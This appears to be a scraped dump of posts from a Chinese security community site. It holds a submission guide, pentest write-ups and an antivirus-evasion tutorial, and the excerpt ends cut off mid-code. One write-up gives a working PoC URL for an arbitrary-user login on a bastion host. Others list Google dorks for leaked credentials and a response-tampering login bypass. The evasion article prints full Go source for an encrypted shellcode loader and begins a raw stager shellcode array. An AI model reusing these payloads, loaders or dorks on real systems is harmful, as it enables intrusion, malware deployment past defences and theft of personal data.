# data[].attributes.title
火线Zone 24年社区规则升级，共建技术安全生态

# data[].attributes.title
记一次某贷款公司从0到100的渗透测试记录

# data[].attributes.title
记一次CNVD原创漏洞证书挖掘

# data[].attributes.title
阿里云 OSS对象存储攻防

# data[].attributes.title
太让人羡慕了，白帽子fake单个漏洞日薪10万！

# data[].attributes.title
我用 CF 打穿了他的云上内网

# data[].attributes.title
【火线项目案例】如何挖到空白页面的高危级别未授权漏洞 

# data[].attributes.title
我是如何利用火器捡漏洞的

# data[].attributes.title
越权tips之某src猜测接口,找到越权漏洞

# data[].attributes.title
浅析K8S各种未授权攻击方法

# included[].attributes.contentHtml
火线Zone是由火线安全平台打造的安全技术专家聚集和交流的社区，旨在推动数智时代的安全生态。

通过火线Zone内容社区、火线技术沙龙等形式，为技术专家提供最前沿的技术分享和交流。目前，火线Zone社区成员已超过20000人的规模，其中不乏来自腾讯、华为、Gitlab、绿盟、去哪儿等知名企业的CTO、CISO、安全VP、安全技术专家等，通过社群和活动讨论交流安全攻防、黑客溯源、企业安全管理、安全运营、软件应用安全、云计算安全等方向技术话题。

截止目前，火线Zone累计举办公开的技术交流活动27场(点击查看)、技术内容超过2000篇、10余个城市举办线下交流活动，全方位促进社区成员与企业之间的学习、交流与合作，为安全从业者提供全新思路，共同探讨行业未来发展之路。

在这里，我们重视每一位成员的声音！火线Zone现在诚挚邀请您加入我们的数智安全社区，分享自己经验，和大咖共探数智安全未来。

投稿须知

欢迎您向火线Zone投稿，分享您的知识和经验。为了确保您的稿件能够顺利通过审核并发表，请您仔细阅读以下投稿指南：
投稿文章内容方向包括并不仅限于以下方向：

1. 应用安全：当年最新的漏洞分析、安全预警及最新的测试技巧，并具备广泛影响性。

2. APP安全：针对APP、小程序的实战对抗、逆向分析、隐私合规等实战评估及测试方法论内容。

3. AIOT安全：针对可穿戴设备、安防设备、智能家居、汽车、工业设备等硬件设备的逆向分析、漏洞挖掘的实战评估和测试方法论内容

4. 黑客事件：针对DDOS、勒索病毒、APT攻击等实战黑客攻击的完整事件溯源分析以及威胁分析的方法论。

5. 红队攻防：针对中大型企业的真实攻防案例，具备防御机制绕过、内网横向、公有云横向等环节内容

6. 安全运营：针对基础安全、开发安全、办公网安全、安全托管运营等安全运营方向的实战落地内容

7. 其他：前沿领域安全研究，如大模型安全、AI应用安全等

希望你的文章质量满足以下要求：

1. 提供深入的分析和独到见解，揭示未公开的新内容。

2. 全面总结某一领域知识，可作为参考手册。

3. 确保内容已授权且完全脱敏，遵守法律法规，不涉及非法安全测试。

4. 文章篇幅需要符合深度分析的篇幅要求，具体篇幅长度视内容类型审核

审核流程说明：

1. 投稿后，若15天内未收到发表通知，您可自行决定是否向其他平台投稿。我们反对一稿多投，一经发现，将不予审核通过。

2. 火线Zone不提供稿件退回服务，请作者自行备份原稿。

3. 对于非原创、抄袭、洗稿或未遵守转载规则的稿件，我们将进行删除处理，并取消任何奖励，同时发布违规公告。

如何投稿

1. 在线投稿
（注：为方便查看稿件审阅进度，请优先选择在线投稿方式）
进入火线Zone[https://zone.huoxian.cn/]>点击左上方【发布主题】-> 在文章开头添加#应用安全#等文章类型标签。
文章稿件支持Markdown格式，文章发布后，社区管理员将对其进行审核并进行精华优选，请耐心等待审核。
没有火线Zone账户的用户，可前往火线Zone注册申请加入。

2. 邮件投稿
您也可以将文章或稿件发送至zone@huoxian.cn

3. 稿件疑问
欢迎添加火线安全小助手，投稿问题可随时咨询。

投稿奖励

1. 基础奖励：如果您未有火线安全平台认证邀请码，文章通过后你将获取到邀请码一枚，可以来注册成为火线白帽子参与平台漏洞悬赏项目。

2. 基础奖励：文章如审核通过即可获普通文章奖励（50查克拉积分），可用于兑换火线安全商城的礼品

3. 优秀奖励：文章内容符合社区征稿意向，内容充实有新意可获优秀文章奖励（50查克拉积分 + 500RMB）。

4. 精华奖励：最新的事件分析和安全预警，分享业内前沿最新技术、 0day 分析与利用、个人安全开发研究新成果 等方面的奇技淫巧、心经等可获加精文章奖励(（100查克拉 + 1000RMB）。

5. 精华奖励：发布文章并获取精华标签后，可以直接加入渗透测试、APP安全、IOT安全、威胁情报、红蓝对抗等相关领域核心众测群，参与平台私密众测项目。

6. 无奖励：内容深度较浅或网上有一定公开类似、单纯的工具介绍使用则不予奖励。

内容奖励要求：

1. 基础奖励在内容符合要求的前提下，阅读量不做要求

2. 优秀奖励在内容符合要求的前提下，阅读量当月突破500

3. 精华奖励在内容符合要求的前提下，阅读量当月突破1000（内容质量较高不受此条件限制）

奖励将在每月第一周公示并发放至火线安全平台账户，可在火线安全平台申请提现。
PS：文章通过后请联系“火线小助手”加入火线Zone创作者群，与其他创作者一起思想碰撞！

转载说明

为了维护原创作者的权益，确保内容的合法传播，特制定以下转载规则。在您希望转载火线Zone社区的文章时，请务必遵守以下指南：

1. 版权声明：在您的平台上转载文章时，请明确标注【原文来自火线Zone、原文作者以及原文链接】。

2. 转载声明：请在文章的显著位置注明以下声明：“本文经火线Zone授权发布，转载请联系火线Zone社区。”

3. 内容修改：您可以对文章标题和内容进行适度修改，以适应您的平台风格，但请确保不改变文章的核心观点和主旨。

4. 公众号转载：若您希望在微信公众号上转载，请先通过火线Zone社区的官方渠道申请授权。获得授权后，请在文章开头注明公众号信息，并在文末附上转载声明。

5. 责任归属：转载文章产生的任何版权纠纷，由转载方自行承担。请尊重知识产权，未经授权的转载行为将被视为侵权。

6. 独家代理：如果您是文章的原创作者，并且希望火线Zone作为您作品的独家代理，请在投稿时声明，并确保作品未在其他平台发布。

7. 版权保证：投稿者需保证拥有所投稿件的完整著作权，并授权火线Zone及其关联平台进行发布和传播。
我们期待与您共同维护一个尊重原创、鼓励分享的社区环境。感谢您的理解和支持！

加入社群

火线Zone已经开启外部粉丝社区群和城市技术社群，大家可在群内进行技术交流，但严禁发表与技术无关的和讨论政治相关内容

添加“火线小助手”，并发送以下关键字加入社区
并发送“社区群”可以加入火线Zone社区技术群
发送“同城群”可以加入火线Zone城市分群

向WooYun Zone、Drops致敬

：）

# included[].attributes.contentHtml
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。漏洞测试结束后已将漏洞提交漏洞平台。
一、信息收集
首先通过爱企查找到某某贷款公司，查看备案域名，进行子域名收集，以及fofa收集

图1-1 爱企查备案站点收集
将发现的域名可通过灯塔以及fofa进行收集，备案号也可进行收集遍历后面的号数
域名fofa语法:domain=xxx.com
备案号fofa语法：body=xxICP备xxxx号-x

图1-2 1-3 为fofa资产收集
灯塔收集：

图1-4 资产灯塔系统资产收集
这里推介使用灯塔进行收集，因为很多小的收集工具已经集成在灯塔里了，我们就不需要在去挨个下了，但是如果对方是有waf秒封的ip的话还是推介人工收集，方法就以上几种不多说了
二、漏洞发现
此时我们可以将收集的资产先放扫描器过一遍，扫描器扫的同时我们就手工测试对方系统的逻辑漏洞、cms漏洞、反序列化漏洞等等，这里呢我推介大家使用一个谷歌插件Wappalyzer,此插件的好处可以识别对方使用的cms系统以及用的编程语言、中间件、操作系统等，这样不仅免去了我们手工测试的麻烦还可以第一时间通过得到的上述信息精准打击

图2-1 Wappalyzer网站技术分析插件
通过收集和扫描将近三四个小时的努力发现了对方将堡垒机映射出外网，且该堡垒机在2021年4月通报过一个高危漏洞:任意用户登录，通过poc探测对方存在此漏洞
https://xxx.xxx.com:6443/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm

图2-2 poc测试图
三、漏洞利用
首先通过poc测试的漏洞来进行查看用户以及切换切换用户

图3-1 会话审计图
通过会话发现对方近期都有登录过堡垒机里的机器，此时尝试将审计用户切换为配置管理员查看对方的哪一个用户掌管机器的

图3-2 配置用户关联设备
通过图3-2知道了大量设备都于sys这个用户有关联，因此我们直接切换该用户进行查看
https://xxx.xxx.com:6443/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=sys

图 3-3 sys普通用户权限图
通过3-3可知已将对方打穿，可管控服务器906台，至此渗透结束
结束语
本文章主要讲解了从信息收集到漏洞发现以及利用的全过程，其实漏洞不止这一个但是此漏洞具有代表性，感谢各位师傅观看！

# included[].attributes.contentHtml
666

# included[].attributes.contentHtml
相信在座的各位都是混迹各大社区论坛很久了 常见的信息收集文章基本上就那些，今天在这里补充一些特别的技巧吧！！！大佬勿喷！！！

0X01字典制作篇

tesla.cn为例子

在线子域名查询

tesla.cn前缀就是子域名都可以作为用户名或者密码字典的制作

企业邮箱前缀其实也可以作为用户名或者密码的字典制作

这里给大家推荐两个平时使用较多的邮箱查询地址(个人感觉前面两个较为好用)

https://phonebook.cz

https://hunter.io

http://www.skymem.info

https://www.email-format.com/i/search

一般来说 什么edu学校邮箱 或者某些HW行动 企业集团 这种查询邮箱效果比较理想

比如其实有的时候 你查询某edu大学的邮箱的时候 ，其实你可以从邮箱都能找到学号和工号

0X02谷歌语法篇

相信大家平时基本上就是这些语法吧

site:huoxian.cn intext:管理|后 台|登陆|用户名|密码|验证码|系统|帐号|manage|admin|login|system
site:huoxian.cn inurl:login|admin|manage|manager|admin_login|login_admin|system

基本上总体思路感觉吧 就是site、host 配合inurl、intext、intitle、或者filetype找一些敏感文件之类吧

其实有时候哈 找某某公司有什么系统这之类可以考虑去找一些手册什么的（尤其的某些集团学校上线新的系统肯定会为员工或者老师准备操作手册，所以操作手册系统截图，管理员截图打码不严格，这样岂不是就会泄露账号或者密码信息）

site:huoxian.cn intext:"手册"

site:huoxian.cn intext:"文档"（其他自己发挥）

或者比如SRC漏洞挖掘的时候

site:huoxian.cn intext:"忘记密码"

site:huoxian.cn intext:"工号"

site:huoxian.cn intext:"优秀员工"

site:huoxian.cn intext:"身份证号码"

site:huoxian.cn intext:"手机号"

等等这些都是可以扩大敏感信息的收集面

记某厂商SRC谷歌语法都捡到未授权访问漏洞 site:huoxian.cn inurl:token 注意这些token字眼

https://****huoxian.cn/third-login?tenant=zjxy&returnUrl=/monitor/enterprise-monitor&token=88888888

然后发现自带token未授权直接进入了系统

所以这里token 又可以扩散思维找一些cookie session jsession userid passwd 等等 有时候就算你不能未授权访问成功 比如上面这个连接tenant其实后面这个值zjxy 就是系统的用户名

0X03新媒体信息收集篇

目前各大src项目 WEB 大家都越来越卷了 出漏洞越来越难了，大部分人都可能信息收集公众号小程序

天眼查

企查查

爱企查 等等 我感觉大家可能都用过这些把 这里给大家介绍3种收集微信公众号或者小程序

方式一

直接微信默认搜索直接怼进去 注意一下 公众号 小程序 公司名称主体 可以更换字眼搜索

方式二

力推小蓝本可以直接新媒体 能查到公司旗下有哪些公众号小程序或者APP

这个小蓝本 其实真的挺不错的 （想想如果有很多公司名直接批量一波，直接出来很多新媒体信息是不是很刺激） 考虑过爬虫 但是发现有个签名算法破不了属实太菜

https://www.xiaolanben.com/api.xiaolanben.com/bluebook/api/v1/es/queryByKeyword?keyword=北京安全共识科技有限公司
&pageId=1&pageSize=14&h_t=1634610816669&h_v=h5_0105134720@0&h_sign=cc41271f777034c8706978de2c36d399

主要还是h_sign这个值

基本上这个加密算法破解了 小蓝本爬虫就稳了 可以参考狼组大佬 爱企查信息收集脚本

方式三

有做过微信公众号运营的同学应该知道，其实可以去找一些微信公众号数据分析平台 也可以作为我们信息收集的工具，比如：

极致了

西瓜数据

这些数据分析平台 收录的微信公众号和小程序非常多，信息收集搜索其实完全够用了

好像这个极致了 目前在更新 今年年初那会儿 收集公众号 直接查公司或者直接某集团同主体旗下公众号什么的 特别好用，这里基本上给大家介绍的是思路，可以去类似找些国内国外 就这些公众号文章数据分析平台信息收集也够用了，第一次投稿，勿喷，欢迎大佬们补充更多姿势！

# included[].attributes.contentHtml
爱了

# included[].attributes.contentHtml
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。
一、原创漏洞证书获取条件

图1-1 证书获取条件
二、信息收集
首先通过爱企查寻找较大的供应商，选择条件为注册资金大于等于五千万且是一个软件供应商或者设备供应商

图2-1 爱企查
通过图2-1 收集的厂商都为我们待测试的厂商,收集完之后我们在去收集对方是否有开发相应的软件以及设备,一般找的话找有官网的那种就好。如下是我找到的某一个厂商。

图 2-2 FOFA信息收集
通过图2-2 我们已经收集完资产,接着我们将资产脱下来进行记录,待测试!
三、漏洞挖掘
首先挖掘这些闭源系统的方法的话有很多,我这里的话就列举一些比较简单的方法了,目录扫描、弱口令后台上传、前端信息泄露接口越权、前台越权、Sql注入、RCE等等。
知道这些方法的话我们可以对应去进行挖掘,这里的话我是挖到的对方的越权,其余的漏洞测试方法的话就不说测试方法了,自行百度。
首先我是去查找对方系统的操作手册,获取操作手册的好处呢有很多，例如：系统部署方式、系统默认账号密码、系统如何操作使用等。

图 3-1 某系统操作手册
通过图3-1获取到默认账号密码后我们挨个去进行测试也可以写个py测试,测试过程中弱口令有匹配到但是后台未发现其余漏洞，接着可以换思路测试逻辑漏洞。经测试通过用户uid越权失败，但是前台只要输入默认管理账号即可越权进入后台获取大量用户信息，测试方法如下：
漏洞复现：
访问漏洞url:http://xx.xx.xx:8093/login.aspx

图 3-2 WEB界面
输入用户名:1001密码任意点击在线用户查询，进行抓包然后拦截响应包

图 3-3 POC测试图
将false改成true放包成功进入后台获取大量用户信息

图 3-4 网站后台
此时漏洞已挖掘结束,我们按CNVD要求将漏洞提交CNVD即可
四、CNVD证书获取
审核周期大概15个工作日

图 4-1 CNVD审核图
直到归档后我们在下周三周四就可得到证书了

图 4-2 CNVD证书
至此证书到手
结束语
其实获取CNVD证书不难,拼的都是我们信息收集的思路,好比一个人知道用爱企查查找厂商但是他找不到对方售卖的闭源系统一样。在此感谢各位师傅观看!Thank you!

# included[].attributes.contentHtml
kidll 😃 大师傅带带弟弟

# included[].attributes.contentHtml
0x00 前言:

最近闲来无事搞了一个免杀平台玩儿玩儿，用于生成免杀Cobalt Strike木马和免杀加载一些其它shellcode(如msf、自定义等)，这里就和大家分享一下免杀思路。

通过本篇文章你将学会：

1. 杀毒软件基本原理及杀毒软件常用识别方式；

2. bypass的一些思路，如如何绕过静态查杀，如何突破启发式查杀；

3. bypass实战样例，学习5个例子；

4. 如何Fuzz Loader源码找到被查杀的点，继而修改特征，继续免杀。

免杀平台地址：https://github.com/Ed1s0nZ/cool

0x01 什么是免杀技术:

免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”，它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广，其中包含反汇编、逆向工程、系统漏洞等黑客技术，所以难度很高，一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码，从而躲避了杀毒软件的查杀。

免杀能做什么？

您有没有过心爱的工具被杀毒软件KILL的经历；您有没有过辛辛苦苦整理出来的工具集被杀毒软件搞成面目全非而“义愤填膺”的时候；您有没有过好不容易拿到权限，上传的木马却被杀的痛心时刻？免杀，它能做的就是避免这些事情的发生！使杀毒软件成为摆设！当然，除此之外免杀技术带给我们更多的，将是思想的飞跃与技术的成长。

0x02 杀毒软件分析：

在开始写免杀前，要先了解一下杀毒软件的工作原理。

杀毒软件基本原理

1. 无害

没有任何可疑行为，没有任何特征符合病毒。

2. 可疑

存在可疑行为：操作注册表，打开powershell，修改用户，操作敏感文件等。

3. 病毒

特征符合病毒。

杀毒软件常用识别方式

1. 静态:

从病毒体中提取的病毒特征码，逐个与程序文件比较。特征码是反病毒公司在分析病毒时，
确定的只有该病毒才可能会有的一系列二进制串，由这些特征可以与其它病毒或正常程序区别
开来。
静态特征码免杀针对kingsoft,macafee、Avira、trendmicro免杀效果比较明显。

2. 启发式查杀

启发式查杀是虚拟机引擎和行为检测相结合，通过模拟执行， 分析程序行为的安全检测技术。

3.云查杀

云安全机制是一种新兴的安全查杀机制，不同的安全厂商的云安全查杀机制不一样。基于云共享特征库扫描机制360 安全卫士，电脑管家，基于主动防御信誉云的扫描机制。

0x03 绕过思路总结:

面对不同的杀毒引擎，有不同的绕过思路，大体分为以下几种：

1. 如何绕过静态查杀？

1.1 动态调用API

1.1.1 特征码定位；

1.1.2动态获取API地址；

1.1.3 自己调用；

1.2 代码混淆技术

定位到被查杀的函数块，然后通过 API 乱序调用或者插入一些正常其它API调用， 如释

放文件时采用单个字节循环写入。

1.3 底层API替代调用

当模块在进行特殊操作的时候被杀，可以采用调用底层的API接口完成同样的功能，如使用CreateProcessInternalW创建进程，NtQuerySystemInfomation获取系统信息，以及一些其它的Native API。

1.4 加壳保护

自己开发的代码保护工具进行加壳保护。

2.如何突破启发式查杀？

2.1 内存载入解析技术

自己在内存中完成对模块的载入、修复和调用。

2.2 模块二次载入技术

当需要调用一些敏感模块的时候，可以采用在内存二次载入我们的目标模块，然后动态查找EAT 完成函数调用。 启发检测。

0x04 免杀绕过实战：

1. AES 加密shellcode

https://github.com/Ed1s0nZ/GoYiyi

将shellcode进行AES加密之后，用加载器去解密＋加载:

aes.go

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"fmt"
)

const (
	StdLen  = 16
	UUIDLen = 20
	iv      = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
	return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
	if length == 0 {
		_ = 1
	}
	clen := len(chars)
	if clen < 2 || clen > 256 {
		panic("Wrong charset length for NewLenChars()")
	}
	maxrb := 255 - (256 % clen)
	b := make([]byte, length)
	r := make([]byte, length+(length/4)) // storage for random bytes.
	i := 0
	for {
		if _, err := rand.Read(r); err != nil {
			panic("Error reading random bytes: " + err.Error())
		}
		for _, rb := range r {
			c := int(rb)
			if c > maxrb {
				continue // Skip this number to avoid modulo bias.
			}
			b[i] = chars[c%clen]
			i++
			if i == length {
				return b
			}
		}
	}
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {

	block, err := aes.NewCipher(key)
	if err != nil {
		return "", err
	}

	blockSize := block.BlockSize()
	fmt.Println(blockSize)
	encodeBytes = PKCS5Padding(encodeBytes, blockSize)

	blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
	crypted := make([]byte, len(encodeBytes))
	blockMode.CryptBlocks(crypted, encodeBytes)

	return base64.StdEncoding.EncodeToString(crypted), nil
}

func main() {
	var payload = []byte{} // 这里放CS 生成的shellcode(C语言) 修改为形如: 0xfc,0x00的格式
	key := "zizwsxedc1234567"
	b, _ := AesEncrypt([]byte(payload), []byte(key))
	fmt.Println("key: " + string(key))

	fmt.Println("enc_info: " + string(b))

}

loader.go

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"syscall"
	"unsafe"
)

var iv = "0000000000000000"

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func CError(err error) {
	if err != nil {
		fmt.Println(err)
		return
	}
	return
}

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	KEY_1                  = 90
	KEY_2                  = 91
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	var enc_key1 = "zizwsxedc"
	var enc_key2 = "1234567"
	var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode
	shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

将aes加密过的shellcode放到loader里去加载（把shellcode放到数组里是为了不让shellcode单独成为一个参数提高免杀概率，无其他意义。）

defender、360、火绒检测不到，且能正常执行命令。

2. shellcode分离免杀

将shellcode和加载器分离出来，将shellcode加密写入到一个文本、图片、网站body，让loader去访问并加载：

code.go

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"os"
)

const (
	StdLen  = 16
	UUIDLen = 20
	iv      = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
	return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
	if length == 0 {
		_ = 1
	}
	clen := len(chars)
	if clen < 2 || clen > 256 {
		panic("Wrong charset length for NewLenChars()")
	}
	maxrb := 255 - (256 % clen)
	b := make([]byte, length)
	r := make([]byte, length+(length/4)) // storage for random bytes.
	i := 0
	for {
		if _, err := rand.Read(r); err != nil {
			panic("Error reading random bytes: " + err.Error())
		}
		for _, rb := range r {
			c := int(rb)
			if c > maxrb {
				continue // Skip this number to avoid modulo bias.
			}
			b[i] = chars[c%clen]
			i++
			if i == length {
				return b
			}
		}
	}
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {

	block, err := aes.NewCipher(key)
	if err != nil {
		return "", err
	}

	blockSize := block.BlockSize()
	fmt.Println(blockSize)
	encodeBytes = PKCS5Padding(encodeBytes, blockSize)

	blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
	crypted := make([]byte, len(encodeBytes))
	blockMode.CryptBlocks(crypted, encodeBytes)

	return base64.StdEncoding.EncodeToString(crypted), nil
}
func WriteFile(aes string) {
	var f *os.File
	filename := "./shellcode.txt"
	f, _ = os.Create(filename)
	defer f.Close()
	_, err := f.Write([]byte(aes))
	if err != nil {
		return
	}
}
func WriteImage(aes string) {
	fname := "./a.jpg"
	content, err := ioutil.ReadFile(fname)
	err1 := ioutil.WriteFile("./a.jpg", content, 0666)
	if err1 != nil {
		fmt.Println("write file failed, err:", err)
		return
	}
	fmt.Printf("%[[v]]", content)
	if err != nil {
		fmt.Printf("open file faild,err:%s\n", err)
		return
	}
	f, err := os.OpenFile("./a.jpg", os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
	if err != nil {
		fmt.Println(err)
	}
	f.WriteString(aes)
	f.Close()
	fmt.Println("写入成功!")
}

func main() {
	var payload = []byte{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xb3,0x15,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x62,0x4e,0x34,0x79,0x00,0x3b,0x7a,0x28,0x46,0x2a,0x69,0x2c,0xf7,0x14,0xe2,0x22,0x24,0xfe,0xc0,0x23,0xac,0xcb,0x78,0xef,0x52,0xd9,0xcf,0x89,0xcf,0x4d,0x2b,0x58,0x8a,0x06,0x9f,0x92,0x54,0x20,0x49,0x9e,0x13,0xf9,0x8e,0x56,0xab,0x50,0xb5,0x82,0xe5,0x61,0xe4,0xdf,0xbe,0x25,0x10,0xf1,0xa6,0x34,0xb3,0x14,0x29,0x82,0xd8,0xe1,0x89,0x4a,0x87,0x82,0x79,0x88,0x7c,0x24,0x57,0xe1,0x49,0xc9,0xe5,0x33,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x34,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x38,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x35,0x2e,0x31,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x